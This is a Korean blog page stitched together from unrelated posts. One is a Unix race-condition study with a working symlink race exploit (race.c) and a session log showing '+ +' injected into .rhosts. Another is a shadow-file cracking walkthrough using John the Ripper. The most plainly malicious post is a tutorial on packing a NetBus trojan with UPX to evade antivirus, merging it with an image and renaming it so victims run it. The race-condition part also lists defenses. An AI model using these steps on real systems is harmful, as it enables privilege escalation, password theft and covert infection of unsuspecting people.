출처:

Study on Race Condition - Seoro Lee : 2002-01-25
http://khdp.org/2004/wiki/doc/Race_Condition



1. 머리말

 

유닉스는 멀티 유저를 지향한 매우 훌륭한 시스템이다. 여러 사람으로 하여금 정보를 공유할 수 있도록 잘 만들어져 있다. 그러면, 개인의 Privacy는 어떤 식으로 유지가 되는 것일까? 그것은 Permission, 그리고 password 등으로 가능하도록 구현해 놓았다. 그리고, 시스템 관리를 위해서 Root라는 superuser를 두어서 어떤 일이든 가능한 위치에 놓았다.


초기에 유닉스가 나타난 당시, 사용하는 유저가 그리 많지 않았고, 또한 흑심을 품은 해커도 별로 나타나지 않았으므로, 보안에 관한 관심이 별로 없었다.


그러나, 요즈음의 경우 사용자 편의를 위해 짜여진 프로그램이 거꾸로 시스템을 공격하는 무기고가 되고 있다. 일반 유저가 프로그램의 버그를 이용하여 갑자기 관리자의 권한을 지니고 권력(?)을 휘두르는 사태에 이르렀다.


해커들이 localhost에서 관리자의 권한을 잡는 방법은 여러가지가 있으나, 아직까지 크게 알려지지 않은 이 race condition을 이 문서에서 다루어 보도록 한다.



2. race condition이란?

 

race condition이란, 해킹조건을 뜻하는 말이 아니었다. race condition은 간단히 말해서, 두 프로세스간에 resource를 사용하기 위해서, 다투는 과정이다. 그 단적인 예를 여기에 하나 보인다.


------ race condition EXAMPLE 1 ----------------
void main(void)
{
        int     childpid;
        int     a, b;
        if((childpid = fork()) > 0) { /* Parent process */
                for(a = 0; a < 100; a++) printf("O");
                exit(0);
        }
        else { /* child process */                             
                for(b = 0; b < 100; b++) printf("X");
                exit(0);
        }
}
------------------------------------------------


fork()라는 함수는 동일한 작업을 하는 프로세스를 하나 더 띄우는 함수이다. fork()를 호출할 때, 그 return값은 새로 만들어진 프로세스의 번호가 되는데, 그것으로 두 프로세스를 나눌 수 있게 된다. (자세한 것은 system prog책을 참조하시오) 그러면 위에 Remark를 보인 것 처럼 원래의 프로세스는 O라는 문자를 찍게되며, 자식으로 나온 프로세스는 X를 찍는다.


물론 각각 100번을. 이때, 유닉스는 Time Sharing을 사용하므로, 프로세스 마다 시간을 각각 할당하게 되는데, 어느쪽에 시간을 더주느냐 덜주느냐가 문제가 된다.


그냥 생각하기로는 OXOXOX... 이런 식으로 나오리라 생각할 수도 있지만, 실행해보면 OOOXXOOXXXXXXOOXOXX 이런 식으로 얽혀서 주기성이 없이 나타난다. 이것이 바로 race condition이라는 것이다.



3. Symbolic Link

 

유닉스에는 Symbolic link라는 아주 좋은 개체가 존재한다. 일반적으로 어떤 파일을 접근하고자 할때, 그것의 Full-path를 찾아가는 일은 대단히 귀찮은 일이다. 물론 PATH라는 좋은 매체가 존재하기는 하나, 그것으로는 조금 불충분하다고 생각할 수 있다. symbolic link는 그냥 path name으로 연결해주는 매체로써, 예를 드는 것이 가장 쉬울 것으로 예상된다.


당신이 시스템내에서 /home/project/AI/SIM 이라는 디렉토리에서 연구를 한다고 하자. 당신의 login디렉토리는 /user/iam이라고 하자. 당신은 그쪽으로 연구를 하러 갈때 항상 cd /home/project/AI/SIM 과같은 방식으로 갈 수 밖에 없을 것이다. 그것도 매일같이 한다면 더욱 귀찮을 것이다. 이런 경우 symbolic link를 이용하면 매우 간단히 해결된다.


당신의 홈 디렉토리에서 'ln -s /usr/project/AI/SIM .link' 라고 입력하면, ".link"라는 링크 파일이 만들어 진다. 그러면 차후에 cd .link라고 입력하면 .link는 /home/project/AI/SIM으로 연결되어 있으므로, 자동으로 그쪽 디렉토리로 이동하게 된다. 매우 편리한 기능이다.


Symbolic link는 위와 같이 매우 편리하게 이용할 수 있으나, 위험성을 많이 내포하고 있다. 유닉스에 존재하는 일반적인 버그에 수시로 나타나는 것이 바로 이 Symbolic link인데, 왜 그런지 그 이유를 살펴보도록 한다.


예를 들어서, 어떤 프로그램이 hello라는 파일을 열어서, 그곳에 무언가를 써준다고 가정한다. 이때 만약 당신이 Permission이 된다면, hello라는 파일을 지우고나서, symbolic link로 'ln -s ~xxx/.rhosts hello' 라고 해두면 어떻게 되겠는가? 그 프로그램이 실행되면 hello라는 파일을 여는데, hello는 ~xxx/.rhosts라는 파일에 링크되어 있으므로, 그 프로그램은 ~xxx/.rhosts를 열어서 쓰게 된다. (물론 잘만 프로그램을 짜면 그런 일을 없앨 수 있다.)


이러한 단적인 예제가 elm 에 존재하는 autoreply라는 버그였는데, 그것은 setuid root되어 있고, /tmp에 arep.???? 라는 666 mode의 파일을 생성한다. 그러면, 그 생성되는 파일을 없애고(unlink), symbolic link를 /.rhosts(root의 .rhosts)로 연결시켜버린다. 그러면 실행하면서 /.rhosts라는 파일에 "+ +"정도가 들어가게 하기만 하면, 만사 OK(or BAD?)가 된다.



4. Why race condition APPEAR?

 

위와 같다면 왜 race condition이 등장하게 되었을까? 그냥 링크시켜서 하면 되는 것인데, 왜 프로세스 간의 resource경쟁이 나타나는가? 그것은 일종의 방어자와 공격자의 싸움에서 등장한 결과라고도 볼 수 있다.


프로그래머는 드디어 위와 같은 autoreply의 문제점을 인식하고, 새로운 방법을 모색하게 되었다. 그것은 바로 lstat()를 이용한 것으로, lstat()을 이용하여, 먼저 modify하고자 하는 파일이 Symbolic Link인지를 먼저 파악하고 그런 후에 그 파일을 open()시켜서 처리하도록 한것이다. 정말 혁신적인 방법으로, 아무런 문제가 없는 듯이 보였다. 그러나, 여기에서 race condition이 등장한다.


lstat()과 open()사이에는 분명히 갭이 존재한다. 그 갭을 적절히 이용한 것이 바로 race condition인데, 먼저 race프로그램을 background로 돌린다. race 프로그램은 돌면서, 공격하고자 하는 프로그램이 modify하는 파일을 연속해서 지우고, 링크를 만들고 하는 작업을 반복한다. 그런 후에 공격하고자 하는 프로그램을 돌린다. 그러면 어떻게 되는가?


lstat()이 이루졌을때, unlink()가 되어있고, open()될때 symbolic link가 되어 있다면, lstat()은 무용지물이 되고 만다. 그러나, 그것이 이루어 질지 안 이루어 질지는 미지수이다. 위에서 얘기한 것 처럼 프로세스는 어떻게 시간을 할당할지 전혀 알 수 없기 때문이다. 그러므로, race condition이라 불리운다.


여기까지 설명을 했으니, 여기 내가 간단히 짜놓은 예제를 보인다. 이것은 SunOS의 sendmail(/bin/mail)의 버그를 설명하는 것이다.


------- race.c --------------------------------
-------------------- race ---------------------
#include &ltsys/types.h>
#include &ltfcntl.h>
void main(void)
{
        while(1) {
                unlink("./tmp.file");
                symlink("./.rhosts", "./tmp.file");
        }
}
-----------------------------------------------


이것은 race를 위해 돌릴 프로그램이다. 공격하고자 하는 프로그램이 현재 디렉토리에 "tmp.file"이라는 이름의 파일을 변경한다고 할 때, 만들어 놓은 것이다. "tmp.file"지우고, 그후 다시 현재 디렉토리의 ".rhosts"에 링크하고하는 작업을 반복시키고 있다. 실행 파일 명은 race이다.


---- victim.c ---------------------------------
------------------------ xx -------------------
#include &ltsys/types.h>
#include &ltsys/stat.h>
#include &ltfcntl.h>
main()
{
        struct stat buf;
        char *name = "./tmp.file";
        char *data = "+ +\n";
        int     fd;
        int     is_link;
        int     i;
        if(lstat(name, &buf)) {
                printf("File does not Exist.\n");
                fd = open(name, O_WRONLY|O_CREAT, 0644);
                write(fd, data, strlen(data));
                now_ok();
                close(fd);
                exit(0);
        }
        else {
                printf("File does EXIST!\n");
                printf("Now This file is a ");
                if((is_link = S_ISLNK(buf.st_mode)) ) printf("link\n");
                if(S_ISREG(buf.st_mode) ) printf("regular file\n");
                if(is_link) {
                        printf("THIS IS SYMBOLIC LINK. DIE MAN\n");
                        exit(0);
                }
                fd = open(name, O_WRONLY | O_APPEND);
                write(fd, data, strlen(data));
                now_ok();
                close(fd);
                exit(0);
        }
}
now_ok()
{
        printf("Now ok is Appended.\n");
}
--------------------------------------------

victim.c는 공격하고자 하는 프로그램의 간단한 예제이다. 꽤 길어졌는데, 그것은 그 과정을 확실히 보이기 위함이다.


이 프로그램은 시작할 때, 먼저 lstat()을 이용, 파일이 존재하는지 안하는지를 체크한다. 없으면, open에서 O_CREAT 옵션을 이용하여, 파일을 생성하고 data를 "+ +"을 넣는다. "+ +"은 유별난 데이터지만 sendmail의 경우, 마음대로 data를 바꾸어서 넣을 수 있으므로, "+ +"을 넣었다고 가정한다.


파일이 존재하면 lstat으로 부터 얻은 정보를 이용해서, symbolic link인지 아닌지를 체크한다. symbolic link이면 이 프로그램의 의도에 맞게 대응할 수 있다. 그렇게 않으면 일반 파일이므로, 내용을 추가하여 넣는다.


이제 이 두 프로그램의 race를 지켜보기 바란다. 여기 실행 결과를 Capture한 파일을 보인다.


---------- Captured File ---------------------
Script started on Wed Aug 21 02:19:24 1996
[moses:/u4/norther/seoro] 1 cat ./.rhosts
nowhere nobody
[moses:/u4/norther/seoro] 2 race &
[1] 6519
[moses:/u4/norther/seoro] 3 xx
File does EXIST!
Now This file is a link
THIS IS SYMBOLIC LINK. DIE MAN
[moses:/u4/norther/seoro] 4 xx
File does not Exist.
Now ok is Appended.
[moses:/u4/norther/seoro] 5 cat ./.rhosts
+ +
ere nobody
[moses:/u4/norther/seoro] 6 xx
File does EXIST!
Now This file is a link
THIS IS SYMBOLIC LINK. DIE MAN
[moses:/u4/norther/seoro] 7
script done on Wed Aug 21 02:20:11 1996
---------------------------------------------

자 옆에 달린 1,2,3.. 번호를 따라가본다.


1번에서 먼저 .rhosts에 들어있는 파일을 보았다. "nowhere nobody"라는 데이터가 들어 있다.


2번에서 race &로 돌려 background로 계속해서 tmp.data를 지웠다가 링크하는 과정을 반복하고 있다.


드디어 3번에서 목표 프로그램을 실행해본다. 파일이 존재하며, 그것이 symbolic link임이 드러난다. 이것은 race할때, unlink()하여, 파일을 없앤 순간이 아니라, symbolic link를 연결한 순간에 lstat()에 걸려서 나타난 현상이다.


4번에서 다시 시도한다. 이번에는 파일이 없으며, 내용을 넣는다고 나타났다.


5번에서 .rhosts내용을 확인해본 결과, 아닌게 아니라 "+ +"메시지가 들어가있다.


6번에서 한번 더 해보았지만 실패하고 만다.


매우 확실한 예제로 이정도면 race가 왜 등장하게 되었는지 알 수 있으리라고 생각한다. 이제 실제 예로 몇가지 예를 설명한다.



5. Some Examples

 

[1] SunOS sendmail(/bin/mail)

SunOS의 sendmail은 외부로 부터 온 메일을 받아서 그것을 /var/spool/mail/$USER 위치에 넣는다. $USER라는 표기는 그냥 온 유저에 맞도록 넣는다는 의미이다. 문제는 그 유저의 permission으로 넣어주기 위해서(chown) Root권한으로 프로그램이 돌아간다는 사실이다.


/var/spool/mail의 디렉토리가 777로 열려있다고 가정한다. 이때, /etc/passwd에는 entry가 존재하고, /var/spool/mail에는 아직 존재하지 않는 유저가 있다고 생각해보자. ftp, sundiag등 mail이 날아올 일이 없는 id가 분명히 있을 것이다. 이런 경우 race condition으로 시스템에 구멍이 생긴다.


ftp를 지목하였다고 하자. race 프로그램을 만든다. 그것은 /var/spool/mail/ftp를 지웠다가 그 파일을 'ln -s /.rhosts /var/spool/mail/ftp'로 링크하는 것을 반복하는 것이라고 생각한다. 이제 race프로그램을 돌린다. 그런 후에, ftp로 아주 적절한 data를 넣어서 메일을 보낸다. 그러면 어떻게 되는가?


sendmail은 4장에서 소개한 방법으로 Symbolic link를 판별한다. 그러므로, 확률이 반반정도로 위의 예처럼 잘 걸린 경우 그 내용이 /.rhosts에 들어가든지 unlink()되어 파일이 없었던 경우라면, ftp라는 파일이 생성되고 결말이 날 것이다.


[2] Solaris 2.x ps(/usr/bin/ps)

여기부터는 간략히 그 메카니즘만을 설명하기로 한다. Solaris 2.x에 있는 ps는 /tmp 디렉토리에 임시파일을 만들고, 그 파일에 내용을 쓴 다음 chown()을 이용하여, 권한을 바꾸고 마지막으로 그것을 /tmp/ps_data라는 파일로 rename시켜준다.


이것은 어떤 방법으로 race condition이 가능한가?


이번의 race프로그램은 약간 신경을 써서 만들어야 한다. 임시로 만들어지는 파일의 이름이 무엇인지 알지 못하므로, 이런 경우에는 race프로그램에서 계속해서 /tmp디렉토리를 search해가면서 나타나는 파일마다 race를 걸어주어야 하게 된다.


search하면서 파일이 나타나면, 그것을 unlink()시키고, 그다음 그것을 우리가 원하는 파일에 링크한다. 그 후 그 파일을 chown()시키므로, 우리가 원하는 파일의 permission이 바뀌게 된다.


[3] Misc

/usr/ucb/lpr            임시 파일이 1000을 주기로 이름이 반복된다.
                              lpr -q -s 옵션을 이용 원하는 파일에 symbolic link가능

/bin/passwd -F       패스워드 변경시 /etc/ptmp라는 파일을 생성, 내용을
                              바꾼후에, /etc/passwd에 overwrite시킨다.

/usr/lib/sendmail     보낸 user가 존재하지 않는 경우, /var/tmp/dead.letter에
                              Guessing가능한 파일이 생성된다.



6. 대책

 

race condition, 또는 symbolic link에 의한 대책은 여러가지가 있을 수 있다.


첫째, 가능한한 임시 파일을 만들지 않는 것이다.

요즈음 시스템이 비대해지면서, 어느정도는 메모리 내에서 처리가 가능하다. 굳이 임시 파일을 만드는 것은 race condition의 원인이 된다.


둘째, unlink()를 불가능하게 한다.

unlink()를 시키지 못하면, symbolic link가 만들어 지는 것은 불가능하다. 위의 Solaris의 ps버그는 /tmp가 0777모드로 다른 유저가 /tmp의 파일을 modify가능하기에 나타난 버그이다. 이런 경우 /tmp를 1777로 sticky를 붙이게 되면, unlink()가 불가능해진다.


셋째, creat()와 open()의 구분을 확실히 한다.

이것은 /bin/mail의 경우 확연한 것으로 만들고자 하는 파일을 계속 지웠다가 링크를 만들었다가 하므로, 결국 공격을 당할 시에는 두가지 경우만이 존재한다. symbolic link이거나, 정말로 존재하지 않거나 두가지이다. 그러므로, lstat()에서 파일이 존재하지 않은 것으로 판명된 경우는 open()시킬 때, 옵션을 O_WRONLY|O_CREAT으로 주는 것이 아니라, 여기에 O_EXCL을 첨가하여, 만일 어떤 식으로든 파일이 존재하는 경우, 파일 생성 또는 쓰기를 포기하게 하는 것이다.


넷째, umask를 최하 022정도 유지한다.

파일이 생성되는 경우, 기본 permission이 666으로 누구나 와서 쓸 수 있다. 이에 umask를 이용하면, permission이 mask되어 나와서, 다른 유저의 write permission을 없애준다.

그외에도 많이 있을 수 있겠으나, 이정도로 간단히 정리하도록 한다.



7. 결론

 

이하 race condition에 대해서 다루었다. UNIX시스템에서 이렇듯 시스템 프로그램에 얼마든지 버그가 존재할 수 있으며, 여기에 대해 적극 대처하는 것이 필요하다.

여기까지 race conditon을 일단(!)마치고, 점차적으로 내용을 늘려나가기로 한다.


--------------------
Seoro Lee, Miso Tech
--------------------



참... 누가 만들었는지, 잘 만들었네요.

본 프로그램은 웹상에서 비밀번호 같은 것은 다 ***로 찍히잖아요?
그걸 원래 문자열로 보여주는 프로그램입니다.

사용법은 프로그램 내에 있으니, 구지 설명하지 않겠습니다. (단, 영어로 되어있죠.ㅋㅋ)

이제부턴 어디에서라두, 비밀번호 찍혀있는 상태로 자리를 뜨지 맙시당~


이는 root의 권한으로 수행되어야 함을 미리 알립니다.

보통 리눅스 시스템에서는 /etc/passwd 파일에 password를 저장했습니다.
하지만, 누구나 읽을 수 있는 /etc/passwd 파일은 해킹의 대상이 되었죠.
따라서, 리눅스 시스템은 /etc/shadow 라는 파일에 암호를 따로 저장합니다.

[root@xxx root]# ls -al /etc/passwd /etc/shadow
-rw-r--r--    1 root     root         2694  5월  9 14:29 /etc/passwd
-r--------    1 root     root         2024  5월  9 14:29 /etc/shadow
[root@xxx root]#

위에 보시면, passwd 파일은 other가 읽을 수 있는 권한이 있음이 보입니다.
하지만, shadow 파일은 root만이 읽을 수 있습니다. 또한, root는 수정도 할수 없지요.

중요한건 root는 읽을 수는 있다는 겁니다. 안그러면 아무 의미가 없겠죠?
아무도 로그인을 못할테니. 아무튼, 중요한건 그게 아니니까...

[root@xxx root]# cat /etc/shadow
....
test1:$1$dxH.pxpU$CpTS86RilpP5xo4igbv88/:12818:0:99991:77:::
test2:$1$ANn54aHO$GALmkrq.xUlCOb2XCNAO2/:12820:0:99991:77:::
....

위에 처럼 실행하면 해당 계정에 대한 암호화된 passwd가 보입니다.
(참고로, 위의 계정은 임의로 수정한겁니다. 크랙해도 머... 의미가... ㅋㅋ)

아무튼, test1을 크랙하고 싶다면, 그 해당 줄을 모두 복사합니다.
암호화된 부분만 가져오시면 안됩니다. (john the ripper는 있어야 함)
개인적인 생각에는 리눅스 시스템 암호화는 계정의 문자열과 그룹 번호 등등을 모두 이용하여 암호화 할지도 모른다는 생각이 드네요.
저두 암호화 쪽은 잘 몰라서 대강 그런 생각이 듭니다.
참고로, mysql 같은 경우에는 계정 문자열과는 상관없이 암호화 합니다.

아무튼, 이를 복사하여 일반 txt 파일로 저장 하면 됩니다.

예) pass.txt
내용 :
test1:$1$dxH.pxpU$CpTS86RilpP5xo4igbv88/:12818:0:99991:77:::

이렇게 저장하면 john the ripper가 crack 할수 있습니다.








다운로드 :

출처 : john의 공식 site
         http://www.openwall.com/john/

사용법 :

1. 윈도우즈 용 john the ripper를 다운 받는다.

2. 특정한 위치에 저장을 한다.

3. cmd 창으로 해당 폴더로 이동한다.

4. john the ripper 1.7.x 버전의 경우 john-386.exe가 있다.
    그 이전 버전에는 john.exe로 존재하는 경우가 있다. (Windows 버전의 경우만 그렇다. 나머진 모른다.)
   이 위치를 잘 기억해 두자. (예. c:\john1701\run\)

5. 리눅스 시스템에서 암호화된 password를 가져와서 pass.txt로 저장한다.  
    자세히 보기
 
6. c:\john1701\run\john-386.exe pass.txt를 실행한다.
    옵션에 대한 정확한 글 보기 (출처: maxoverpro님의 네이버 블로그)

7. 진득하니... 오래오래... 기다린다...
    중간중간 너무 궁금하면 아무키나 누른다... 그럼 현재 검사하고 있는 문자열을 보여준다.
    넉넉히 몇일을 기다려 주자. 쩌비...


파일 압축기 :




파일 합병기 :


본 자료는 네이버 카나리아님의 블로그에서 그대로 가져온 것입니다.



자아 하지만 거의 모든 백신들은 넷버스라는

프로그램을 잡아낼수 있게 프로그래밍 되었답니다

하지만 백신에 걸리지 않게 하는 방법이 하나 있답니다 ㅎㅎ

바로 파일을 압축해 용량을 줄여버리는 것이죠

이러면 백신의 감시망에 걸리지 않고 컴퓨터 속으로 잠입할수 있답니다 ㅎㅎ

으음 하지만 이 프로그램을 압축하기 위해선 해커들만의 특수한 프로그램을 써야 하는데요

바로 이것입니다~ 짜잔~

Upx125w <-용량 압축기랍니다 ㅎㅎ

바로 이것을 사용해 파일의 용량을 줄일수 있답니다

그럼 어디 사용법을 알아볼까요?

자아~ Patch.exe를 백신에
안걸리기 위해서
일단 Patch를 용량을 줄여야 한답니다
Upx125w프로그램을 사용하여 용량을 줄여 봅시다
(제가 직접 첨부해 올렷답니다 ㅎㅎ~)
자자 사용하는 방법은 간단합니다.

일단 내컴퓨터들어가셔서 C드라이브들어가셔서 폴더를 하나만들어 줍니다.

사용자 삽입 이미지

폴더이름은 upx125w로 해주시구요. 네 이제 폴더안에 압축을 풀어주세요~

사용자 삽입 이미지
 
 
압축을 푸신다음 시작 - 모든프로그램 - 보조프로그램에서 명령프롬프트나 도스창을 열어요..
XP의 경우 명령프롬프트이고 그외에 운영체제는 도스창을 키세요..
윈도우 2000하고 ME도 명령프롬프트였나.. 기억은 안나지만 명령프롬프트, 도스창
둘중에 하나를 키시구요..
 

사용자 삽입 이미지

 
 
네.. 이제 명령프롬프트를 키셨으면 cd..라고 치고 엔터를 칩니다. 2번을 그렇게 치시면 C 드라이브로 내려갈거에요~
 
사용자 삽입 이미지
 
 
cd.. 라는 명령어는 하위폴더로 가는것입니다.. 하위폴더로 한칸가는 명령어라고 할수있습니다.
여기서 cd upx125w를 치고 엔터를 칩니다.. cd는 위의 폴더로 간다는 뜻입니다. cd upw125w는
"간다. upx125w폴더로" 라는 뜻이랍니다 ㅎㅎ~
사용자 삽입 이미지

이제 본격적으로 넷버스의 patch파일을 upx125w폴더에 넣습니다(복사하세요)
 

사용자 삽입 이미지

 
복사를 해주시고 명령프롬프트에 upx patch.exe라고 쳐주시면 된답니다~
 
사용자 삽입 이미지
 
치시면 저렇게 퍼센트가 나오면서 압축이 됩니다용~
 
사용자 삽입 이미지
 
이제 압축이 다 됐습니다.. 휴우~ 이제 넷버스의 patch파일은 백신에 걸리지 않지요오~
(걸리는 백신 몇몇 있습니다.. -_-; 이렇게해서 안걸리면 넷버스는 천하무적이죠.. 넷버스는
크랙툴도 아닌 그냥 공부용입니다.. 걸리는건 당연하죠.. 이렇게 해서 걸릴 위험을 좀더 줄이는
것이죠.. 용량도 줄이고.. 넷버스를 배우면 크랙의 반을안다.. 넷버스를 다 배우시면
모르는 크랙을 다루는게 더 쉬워질것 입니다. 넷버스만 이용하지 마시고요.
다른 크랙들도 사용하여 보고 정보를 나눠 봅시다..
 
넷버스 patch파일을 용량줄여서 백신에 안걸리게 했는데요.
Patch파일을 등록정보 보시면 기존 Patch파일용량은 484KB
upx를 이용해 용량을 줄인 패치의 용량은 194KB로 확 줄었지요.
백신을 속이기는 했는데.. 이걸 사람한테 보내야 되는데.. 이젠 사람을 속여야겠지요?

거의 대부분의 사람들은 넷버스의 패치를 알고 있어요. 그래서 사람들을 속이기에
파일명도 바꾸고 아이콘도 바꿔야 하지요.
그래서 이번엔 powermerge 프로그램을 써서 사람들 속여 봅시다.
일명 파일 합치기 인데요. 한번 배워봅시다. (ㅎㅎ 같이 첨부했어요~)
아무데나 압축을 푸신후 powermerge.exe를 클릭해 봅시다.

사용자 삽입 이미지

 
 
일단 1nd File에서 Load를 클릭하여 패치를 놓습니다.
그리고 2nd에서 File에는 자신이 올리고 싶은 프로그램 (그림,음악,게임 모든게 됩니다.)
을 놓습니다.. 용량 너무 높게 하지마세요. 그림이 가장 좋습니다. 용량도 낮고..
2nd파일에서 파일형식을 All로 바꿔주시고 하세요.
 
 
사용자 삽입 이미지
 
 
파일들을 각각 놓으셨다면 이제 아이콘을 변경해야하지요..
 

사용자 삽입 이미지
 
 
 
Icon버튼을 누르시고 원하는 아이콘을 놓으시고 Merge!를 클릭하시면 됩니다.
그럼 완성이 되는데요. 이제 이름을 바꿔봅시다.

사용자 삽입 이미지

텍스트는 그냥 지워주시구요. 저는 겨울이라는 그림과 패치파일을 합쳐서 만든것 입니다. 아이콘은 그림모양으로 했지요.

저상태에서 보내면 바로 들킵니다.. 이름을 바꿔주셔야죠.  Patch.겨울.exe 인데 여기서 Patch.을 지워주시구요.

그럼 겨울.exe가 됩니다..


사용자 삽입 이미지

이제 사람들한테 보내기만 하면 됩니다.. 저걸 클릭하면 Patch를 클릭한거랑 같지요..

저걸클릭하면 합쳤던 그림이 나오고 패치는 적용 되는것이죠~



중국 해커들의 8월 15일 해킹 공격을 대비한 자료.


서버의 기본적인 보안 정책을 강화함으로써 리눅스 서버가 악용당할 여지를 줄여 줄 수 있다.


실제로 그동안 테스트하고 있던 서버들의 로그파일에 최근 중국 및 홍콩 발 악의적인 해킹 시도횟수가 큰폭으로 늘어나고 있음을 볼 수 있었기 때문에 이 자료가 많은 도움이 되었다.


http://www.securityproof.net/serversecurity.pdf


- 이 전자 문서의 모든 저작권은 securityproof 에 있습니다. -

+ Recent posts